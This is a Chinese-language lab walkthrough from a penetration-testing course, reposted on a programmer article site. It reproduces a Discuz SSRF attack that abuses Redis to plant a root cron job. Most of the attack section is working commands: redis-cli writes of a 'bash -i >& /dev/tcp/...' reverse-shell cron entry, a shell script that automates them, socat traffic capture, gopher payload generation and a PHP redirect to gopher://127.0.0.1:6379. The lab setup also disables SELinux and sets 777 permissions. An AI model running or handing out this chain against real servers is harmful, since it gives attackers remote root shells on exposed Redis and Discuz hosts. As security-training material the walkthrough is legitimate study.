欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Discuz-ssrf利用计划任务反弹shell

程序员文章站 2023-12-30 19:45:28
...

渗透学习交流群773617250,群内定期通知课程内容、课程时间及直播地址,欢迎大家进群学习交流!

001 环境搭建:
 Centos7(安装有apache,php,mysql,redis)
 利用winscp把discuz的源码拖到var/www/html目录下:
 chmod -R 777 upload/ 改一下权限
 然后访问192.168.136.133/upload进行安装,但是访问的时候愣是给我提示目录不存在,并且相关文件不可写
Discuz-ssrf利用计划任务反弹shell

 但是查看权限是有的
Discuz-ssrf利用计划任务反弹shell

 经过各种尝试无果,开始了漫长的百度之旅,皇天不负有心人,我看到了一位兄弟和我有类似的悲惨经历,以下是他的心声:
Discuz-ssrf利用计划任务反弹shell
 我赶紧打开我的centos7敲了一波:setenforce 0
Discuz-ssrf利用计划任务反弹shell

 再次打开浏览器访问192.168.136.133/upload目录,全部正常了:
Discuz-ssrf利用计划任务反弹shell
 根据提示点击下一步,终于看到了熟悉的面孔
Discuz-ssrf利用计划任务反弹shell
 访问一波正常,到此环境搭建完成:
Discuz-ssrf利用计划任务反弹shell

#002 漏洞复现操作:
 本地操作利用计划任务反弹shell
复现环境:win7(装有nc),centos7-discuz+redis
 Win7开启nc监听: Discuz-ssrf利用计划任务反弹shell
 Centos7首先开启redis服务:
Discuz-ssrf利用计划任务反弹shell

 操作redis写计划任务反弹shell,在redis-cli中输入以下命令:
 set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n”
 config set dir /var/spool/cron/
 config set dbfilename root
 save
Discuz-ssrf利用计划任务反弹shell

 回到win7中查看结果,成功接收到反弹的shell:
Discuz-ssrf利用计划任务反弹shell

 执行以下命令 /usr/sbin/ifconfig,本地利用计划任务反弹shell就成功了
Discuz-ssrf利用计划任务反弹shell

#004 公网服务器利用gopher协议来写计划任务:
 先写一个shell脚本,输入一下命令,保存为shell.sh,并上传到centos7:
 redis-cli -h $1 -p $2 flushall //可不写
 echo -e “\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.136.132/3333 0>&1\n\n\n”|redis-cli -h $1 -p $2 -x set 1
 redis-cli -h $1 -p $2 config set dir /var/spool/cron/
 redis-cli -h $1 -p $2 config set dbfilename root
 redis-cli -h $1 -p $2 save
 redis-cli -h $1 -p $2 quit

 win7用nc开启监听,bash命令执行shell/sh,看到ok代表执行成功
Discuz-ssrf利用计划任务反弹shell

 回到win7查看返回结果,成功接收到反弹的shell Discuz-ssrf利用计划任务反弹shell

 我们想要抓取redis攻击tcp的数据包,可以使用socat端口转发。
 Socat命令进行端口转发,把本地6379转发到2222端口,监听2222端口,抓取tcp数据包:
 socat -v tcp-listen:2222,fork tcp-connect:localhost:6379
Discuz-ssrf利用计划任务反弹shell

 bash命令执行shell.sh脚本,并且带上127.0.0.1 2222
Discuz-ssrf利用计划任务反弹shell

 可以看到成功抓取到了tcp数据包,然后将抓取到的内容复制,并保存为1.log
Discuz-ssrf利用计划任务反弹shell
 利用redis_ssrf.py脚本转换1.log,生成payload
Discuz-ssrf利用计划任务反弹shell
 将生成的payload放入公网的文件gopher.php中

<?php header("Location:gopher://127.0.0.1:6379/_payload"); ?>

Discuz-ssrf利用计划任务反弹shell

 Win7开启nc监听6666端口,然后discuz访问payload就会反弹shell
Discuz-ssrf利用计划任务反弹shell

Discuz-ssrf利用计划任务反弹shell

                                          BY易锦教育正式班学员墨森

上一篇:

下一篇: